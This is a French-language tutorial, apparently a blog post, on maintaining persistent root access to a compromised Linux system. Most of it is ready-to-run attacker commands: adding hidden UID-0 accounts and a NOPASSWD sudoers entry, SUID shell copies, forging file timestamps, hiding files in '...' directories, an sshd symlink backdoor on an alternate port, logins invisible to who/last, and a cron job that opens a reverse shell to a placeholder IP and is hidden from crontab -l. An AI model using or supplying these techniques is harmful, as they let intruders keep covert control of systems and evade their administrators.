Maintien d'accès sous Linux

Accès administrateur déjà obtenu

  1. Création de comptes

1.1. Création d'un compte avec mot de passe personnalisé

Dans Linux, toutes les informations utilisateur sont stockées dans le fichier /etc/passwd. En tant qu'administrateur, on peut modifier ce fichier pour ajouter un compte.

Utiliser l'algorithme de chiffrement de Linux pour générer le mot de passe correspondant.

Mot de passe chiffré:

motdepasse@123-->xyzabc/9yU5yQ

Commande pour créer le compte ou copier directement dans le fichier passwd:

echo "testuser:xyzabc/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd

Test de connexion:

Connexion réussie

1.2. Création directe d'un compte administrateur

# Création du compte

useradd -o -u 0 -g 0 admin_secret

# Définition du mot de passe

passwd

motdepasse@123

1.3. Configuration du fichier sudoers

Modifier le fichier de configuration /etc/sudoers pour définir les privilèges utilisateur:

admin_secret ALL=(ALL) NOPASSWD:ALL

En exécutant la commande avec sudo, elle s'exécutera avec les privilèges administrateur.

1.4. Compte standard avec permissions SUID

1.4.1. Ajout de la permission s à des commandes existantes:

chmod u+s /bin/bash $ bash -p

chmod u+s /bin/sh $ sh -p

chmod u+s /bin/env $ env /bin/sh -p

chmod u+s /bin/vi $ vi /etc/shadow

chmod u+s /usr/bin/find $ find /etc/passwd -exec cat /etc/shadow \\;

Inconvénient: facile à détecter.

1.4.2. Création d'un utilisateur standard avec SUID:

# Création d'un utilisateur standard

useradd john_doe

passwd john_doe

motdepasse1234

# Copie du bash avec les droits root

cp /bin/bash /tmp/.shell

ll -a /tmp

chmod 4755 /tmp/.shell

# Exécution avec l'utilisateur standard

/tmp/.shell

# Test:

Avantage: méthode difficile à détecter pour l'administrateur

  1. Modification des attributs de fichiers

2.1. Modification des horodatages de fichiers

Les administrateurs peuvent identifier les fichiers potentiellement modifiés par un attaquant en vérifiant les fichiers récemment modifiés. Pour maintenir l'accès, on modifie les horodatages des fichiers.

Recherche de fichiers par date avec find:

find / -atime -5 | grep backdoor # Recherche des fichiers modifiés il y a 5 jours contenant "backdoor"


-atime [+|-]#     Temps d'accès  access
-mtime [+|-]#     Temps de modification modify
-ctime [+|-]#     Temps de création create
# Interprétation:
-#  indique [0,#)       
#  indique [#,#+1)     
+#  indique [#+1,∞]     

Exemple: #=3 signifie:

-3: dans les 3 jours (72h)

3: pendant le 4ème jour

+3: après le 4ème jour

Expérimentation:

# Création d'un fichier malveillant: backdoor_5555.elf

# Modification du temps d'accès

touch -r /root/anaconda-ks.cfg ./backdoor_linux.elf

# Modification du temps d'accès et de modification du fichier b.txt au 12 août 2022 à 8h00

touch -t 202208120800.00 backdoor_linux.elf

Vérification:

stat nom_fichier

2.2. Création de fichiers cachés

Dans Linux, chaque répertoire contient deux répertoires fixes.

Vérification:

# Avec ll -a

On ne peut pas créer de répertoires nommés .. ou .

Comme les utilisateurs Linux connaissent généralement cette information, on crée des répertoires nommés ... .... pour les cacher:

mkdir /home/.../...

# Déplacement du malware dans le répertoire caché ...:

# Attribution des droits d'exécution: chmod u+x xxxxx

2.3. Verrouillage de fichiers

Cette méthode exploite le comportement habituel des utilisateurs: si un fichier ne peut pas être supprimé, on suppose qu'il s'agit d'un fichier système.

La commande chattr modifie les attributs cachés des fichiers ou répertoires, réservée à l'utilisateur root.

Expérimentation:

# chattr [+] [attribut] nom_fichier ou répertoire

touch test.txt

chattr +i test.txt

  1. Backdoors SSH

3.1. Backdoor par lien symbolique

Ouvrir un port sur le système via le service SSH pour une connexion ultérieure.

Expérimentation:

# Vérification de l'utilisation du port SSH 22

netstat -antp | grep 22

# Si on utilise le port 22 pour un backdoor, il est facilement détetcable.

# Création d'un lien symbolique pour un port alternatif:

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=7777

# Connexion depuis Windows

Conneixon réussie

# Vérification si visible via le port 22

Non détectable

3.2. Connexion invisible

La connexion invisible n'apparaît pas dans les commandes who, w, last, mais reste visible dans netstat -antp. Méthode limitée, à titre informatif.

Expérimentation:

# Création d'un utilisateur standard: stealth_user

# Commande:

ssh -T stealth_user@xxx.xxx.xxx.xxx /bin/bash -i

ssh -o UserKnownHostsFile=/dev/null -T stealth_user@xxx.xxx.xxx.xxx /bin/bash -i

3.3. Authentification par clé publique/privée

Précédemment traité dans un article sur l'escalaed de privilèges Linux.

  1. Tâches planifiées (crontab)

Les tâches planifiées dans Linux sont des commandes exécutées automatiquement à des intervalles définis.

Création d'une tâche planifiée de reverse shell:

# Affichage des tâches planifiées

crontab -e

# Ajout d'une tâche planifiée

*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1'

# Cette tâche s'exécute toutes les minutes

Création d'une tâche exécutant un malware:

35 * * * * /usr/share/icons/gnome/scalable/devices/backdoor_linux_reverse_tcp_64.elf

Cache des tâches planifiées:

# Les tâches précédentes sont faciles à détecter, il faut les cacher

(printf "*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1';\rno crontab for whoami%100c\n")|crontab -

# Exécution dans le terminal pour créer une tâche cachée, non visible avec crontab -l

# Mais visible dans le fichier de stockage des tâches

cat -A /var/spool/cron/root

  1. Fichiers de démarrage automatique

Dans Linux, certains fichiers sont chargés automatiquement au démarrage ou à la connexion, et peuvent être exploités par un attaquant.

/etc/rc.d/rc.local: exécuté au démarrage du système, /etc/rc.local est un lien symbolique.

/etc/profile: définit les informations environnementales pour chaque utilisateur, exécuté lors de la première connexion.

/etc/bashrc: exécuté pour chaque utilisateur lançant un bash shell.

~/.bash_profile: informations spécifiques à l'utilisateur, exécuté une fois à la connexion.

~/.bashrc: informations spécifiques au bash shell de l'utilisateur, lu à la connexion et à chaque nouveau shell.

~/.bash_logout: exécuté à chaque déconnexion.

Les trois derniers sont des fichiers cachés.

Expérimentation:

# Ouverture de /etc/profile

# Ajout du programme souhaité, exécuté automatiquement à la connexion

Par exemple: chmod u+s /usr/bin/bash

Après redémarrage et connexion, la commande s'exécute.

Étiquettes: Linux sécurité système rootkit crontab SSH

Publié le 10 juillet à 02h14